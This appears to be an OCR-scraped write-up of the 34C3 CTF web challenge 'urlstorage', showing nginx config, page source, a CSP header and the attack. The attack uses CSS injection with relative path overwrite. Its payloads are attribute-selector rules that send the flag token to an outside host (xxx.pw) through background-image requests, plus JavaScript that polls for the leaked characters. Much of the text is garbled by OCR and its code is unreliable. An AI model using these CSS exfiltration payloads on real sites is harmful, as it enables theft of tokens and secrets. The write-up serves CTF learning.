34C3 CTF Web urlstorage Writeup
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server {
listen 80@;
access_log J/var/leg/nginx/example.log;

location /static {
alias /app/urlstorage/static/;
}

location / {
proxy_pass http://127.9.0.1:8000;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For Sproxy_add_x_forwarded_for;
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1| <html lang="en">

2 <head>

3 <meta name="description" content="pwn it bro" />

4

5| <title>URL Storage</title>

5|

7 <link href="gtatic/ess/milligram.min.css" type="text/css" rel="stylesheet" media="screen,projection"/>
B </head>

a| <body>

10|

1|

12| <h3>Store your URL for free</h3i>

13| <label for="name">Your name:</label>

14| <input type="text" value="asdjladkl” name="name" id="name" readonly />
15| <form method="POST">

16| <label for="url">Yyour URL:</label>

17| <input type="text" value="aaa" name="url" id="url" /> ]

18 | <input type="submit" value="Save changes" class="button">

19| <a href="flag?token=2777c24ab0a62107b9b0da3134£81997" class="button">Get Flag</a>
20| <a href="logout” class="button">Logout</a>

21 </form>

22 |

23 | </body>

24 | </html>

25 |

26 |
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%0a%0d%0a%0a%0d%0a*%7B%7D*{ } *{background: red}*{}*%0a%0d%0a
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1| <html lang="en">
2| <head>
3| <meta name="description" content="pwn it bro" />
4|
5 [ <title>URL Storage - Flag for token 2777c24ab0a62l07b9%b0da3l134f81997aaaa</title> ]
B
T <link href="static/css/milligram.min.css" type="text/css" rel="stylesheet" media="screen,projection"/>
B </head>
9| <body>
10|
11
12|
13| <h3><p>Hello asdjladkl,</p></h3>
14| <label for="flag">Here is your flag:</label>
15 |
16 |
17| <input id="flag" type="text" wvalue="34C3 4e5ebd7658283d8d74226d4650409963c435344a7" readonly>
18 |
18| <label for="status">Your status:</label>
20|
21
22 | <input id="status" type="text" wvalue="non-admin (your flag is pretty much worthless)" readonly>
23 <hé> If you believe we have labeled you incorrectly as a non-admin user,
24 | contact us <a href="contact">here</a>.</h6>
25| <a href="urlstorage" class="button">Back</a>
26 |
27 |
28 |
29 |
20|
|
32|
33| </body>
34 | </html>
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frame-ancestors 'none'; form-action 'self'; connect-src 'self'; script-src 'self'; font-src 'self' ; style-
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a[hrefr=flag\?token\=0]{background: url(//xxx.pw/rpo/?c=1);}
a[hrefr=flag\?token\=1]{background: url(//xxx.pw/rpo/?c=1);}

a[hrefr=flag\?token\=f]{background: url(//xxx.pw/rpo/?c=Ff);}

A

a[hrefr=flag\?token\=10]{background: url(//xxx.pw/rpo/?c=10);}
a[hrefr=flag\?token\=11]{background: url(//xxx.pw/rpo/?c=11);}
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function doitl() {

poll_len = poll();

console.log(poll len + " " + length);

if (length == 32) {
token = get url('?flagl');
console.log( "TOKEN: " + token);
length = =1;
doit2():

} else if (poll len > length) {
$('#doit').attr('srec', '<?= $exploit ?>?step=1'); // next url
length = pell len;
console.log( "Length now " + length);
setTimeout (doitl, 0);

} else {
setTimeout (doitl, 100);

}
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<input id=flag name=flag value="34C3_test">

<input id=blah name=blah value="foo">

<style>

#flag[valuer=34C3]{background: url(http://xxx.pw?34c3);}
#tblah[valuer=foo]{background: url(http://xxx.pw?foo);}
</style>

RIS g N 2k Hifoolfid >R, T IXANaT LA P Fh 7 2 ok
1. i FH cssH BRI UL AT

#flag[value*=C3_1]{background: url(http://xxx.pw/?flag=C3_1);}
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#flag[valuer=\33\34\43\33]{background: url(http://xxx.pw/?34c3);}
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= & | ® lovelemon/flag?token=e466e350002432f2a7d0f63408e 1f6de </title > <base%20href=urlstorage/1>

Hello test,

Here is your flag: 34C3_deebd7658283d8d7¢ Your status: [non-admin (your flag is prett

If you believe we have labeled you incorrectly as a non-admin user, contact us here.
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MName Status Type Initiator Size
|| flag?token=e466e3500024322a7d0f63408e1/6de3t3C title363E%3Cbase%20hre... 200 document Other

milligram.min.css 200 stylesheet 2 n= </fitle> < hr...

exploitphpTnew2=de 200 text/html Other
| | favicon.ico 302 text/hitmi Other
|| urlstorage 200 text/html faviconico
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[ view-sourceilovelemon, X \D
c | @ view-sourcelovelemon/flag?token=e466e35000243212a7d0f63408e1f6de < ftitle> <base%20href= uristorage/1> g ‘ # ’ :

1| <tml lang="en" >
2 Chead>
3 {meta name="description” content="pwn it bro" /3
4
5 [ {titlerUBL Storage - Flag for token ed66e350002432f2a7d0f63408 1f6de/ tit ler(base href=urlstorage/1></title> ]
6
7 <lirk href="static/ces/milligram min ces” type="text/css" rel="stylesheet” nedia="screen projection”/>
8 {head>
] <body>
0
1
2
3 <h3»{prHello test, </p*</h3>
4 {label for="flag" *Here is your flag:</lsbel>
5
6
T [mpu't 1d="flag” type="text” walue="34C3_debebdT658283d847d 226d650409953c4363ddaT readanly> ]

exploit:
https://github.com/eboda/34c3ctf/blob/master/urlstorage/exploit/exploit.php
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